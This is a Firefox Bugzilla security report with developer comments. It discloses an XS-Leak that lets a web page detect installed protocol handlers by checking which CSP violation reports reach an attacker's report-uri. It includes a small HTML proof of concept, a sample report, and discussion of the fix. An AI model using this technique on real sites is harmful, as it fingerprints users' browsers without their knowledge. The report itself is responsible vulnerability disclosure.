Leaking Browser URL/Protocol Handlers by CSP report-uri
Categories
(Core :: DOM: Security, defect, P3)
Tracking
()
People
(Reporter: t.satoki111, Unassigned)
References
Details
(4 keywords, Whiteboard: [fingerprinting][reporter-external] [client-bounty-form] [verif?])
Attachments
(2 files)
Hello,
I am Satoki, a security researcher & CTF player.
I came across CVE-2020-15680 while exploring new XS-Leaks techniques for CTF.
https://www.fortinet.com/blog/threat-research/leaking-browser-url-protocol-handlers
Subsequently, I reported a leak technique using window.open as Bug 1881037 on Bugzilla.
The purpose of this report is the same as the others, but the underlying cause and technique are entirely different.
Hence, I believed it appropriate to make a new report.
No user interaction is required.
The goal is to leak Browser URL/Protocol Handlers to an attacker's site.
CVE-2020-15680 utilized the different CSS sizes of img tags.
Bug 1881037 leaked information from the error response of window.open (requiring user's popup permission).
This technique uses CSP report-uri.
I devised the following HTML:
Of course, satoki://satoki does not exist.
# Content-Security-Policy: img-src 'self'; report-uri http://{Leak_URL};
<html>
<head>
<title>PoC by Satoki</title>
</head>
<body>
<h1>XS-Leaks</h1>
<img src="satoki://satoki">
</body>
</html>
This code blocks the image due to CSP.
The report was not received.
I then changed satoki://satoki to onenote://satoki.
The report was received:
"root":
"csp-report":
"blocked-uri": "onenote"
"column-number": 1
"disposition": "enforce"
"document-uri": "http://s4t.pw/"
"effective-directive": "img-src"
"original-policy": "img-src 'none'; report-uri https://{Leak_URL}"
"referrer": "http://s4t.pw/"
"status-code": 200
"violated-directive": "img-src"
This is a surprising discovery.
CSP does not report non-existent schemes.
Analyzing the number and content of these requests could leak the existence of Browser URL/Protocol Handlers.
I am attaching the Proof of Concept (PoC).
You can test this locally, but if you wish to try it remotely, you may access the following URL:
http://s4t.pw/87d488ef2b2bace4b568c2faa07c9e3299e3446a
|
||
Updated•2 years ago
|
|
||
Updated•2 years ago
|
|
|
||
Updated•2 years ago
|
|
|
||
Comment 1•2 years ago
|
||
This doesn't work in my normal Mac nightly profile, but I got reasonable results in a fresh profile. I'm sure I've hacked some settings regarding remote protocols in my usual profile.
|
Reporter | |
Comment 2•2 years ago
|
||
Thank you for the verification. I believe you fully understand, but it's worth noting that the same applies to <img>: img-src, <script>: script-src, and <audio>, <video>: media-src, so it might indeed be due to the URI parsing flow. It's not just an issue with img.
|
|
||
Comment 3•2 years ago
|
||
I believe you fully understand, but it's worth noting that the same applies to <img>: img-src, <script>: script-src, and <audio>, <video>: media-src, so it might indeed be due to the URI parsing flow. It's not just an issue with img.
Yes, I'm sure this is a general issue with the interaction between Fetch and CSP. Likely the non-existing handlers are failing early in Fetch before the point in the algorithm where CSP gets consulted; CSP can only return errors for URLs it knows the page attempted to load.
Even if CSP doesn't block the content load, external protocols don't return data and can't appear in the page anyway. I'd have to go see if this is true for all elements, but <img> won't even attempt to load these with or without CSP. The solution might be to not report errors for any external protocol scheme.
|
|
||
Updated•2 years ago
|
|
||
Updated•2 years ago
|
|
|
||
Updated•2 years ago
|
|
||
Comment 4•2 years ago
|
||
The severity field is not set for this bug.
:freddy, could you have a look please?
For more information, please visit BugBot documentation.
|
||
Updated•2 years ago
|
|
|
||
Comment 5•2 years ago
|
||
looks like bug 1883693 got a patch; ni? myself to see if we can use that or still need to add more
|
|
Reporter | |
Comment 6•2 years ago
|
||
Hello,
I would like to ask about Bugs 1882364, 1883693, 1881037, 1884580, 1882827. I am interested in writing an article about a series of URL protocol handler leaks and directory enumeration from HTML files. Are there any plans to issue CVEs for these issues? Of course, I will wait for the fixes, and I do not intend to rush the response.
|
|
Reporter | |
Comment 7•2 years ago
|
||
My Article
|
||
Comment 8•2 years ago
|
||
I would like to ask about Bugs 1882364, 1883693, 1881037, 1884580, 1882827
for easy lookup (for those with access): 1882364 (this bug), Bug 1883693, Bug 1881037, Bug 1884580, Bug 1882827
| Comment hidden (obsolete) |
|
|
Reporter | |
Comment 10•2 years ago
|
||
OK
I will wait for the fix and further verify that I can bypass it before publishing.
Thanks.
|
|
||
Comment 11•2 years ago
|
||
(In reply to Frederik Braun [:freddy] from comment #9)
Still waiting for bug 1882364 before we fix this one.
Heh. That link should have gone to bug 1883693. We believe that the onerror-variation should help us identify a fix for the CSP reporting issue too.
|
|
||
Comment 12•2 years ago
|
||
simon is going to retest now that bug 1883693 is fixed
|
||
Comment 13•2 years ago
|
||
This seems to be fixed since bug 1883693. CSP reports are sent for all protocol handlers.
|
|
||
Comment 14•2 years ago
|
||
If this was fixed in bug 1883693, I'd consider this here a duplicate.
|
|
Reporter | |
Comment 15•2 years ago
|
||
I believe that the vulnerability itself is different, even though the fix was made in one place. The methods are too different between the timing difference and CSP. I think it should be considered a separate vulnerability or CVE.
|
|
||
Updated•2 years ago
|
|
||
Updated•2 years ago
|
|
|
||
Updated•1 year ago
|
Description
•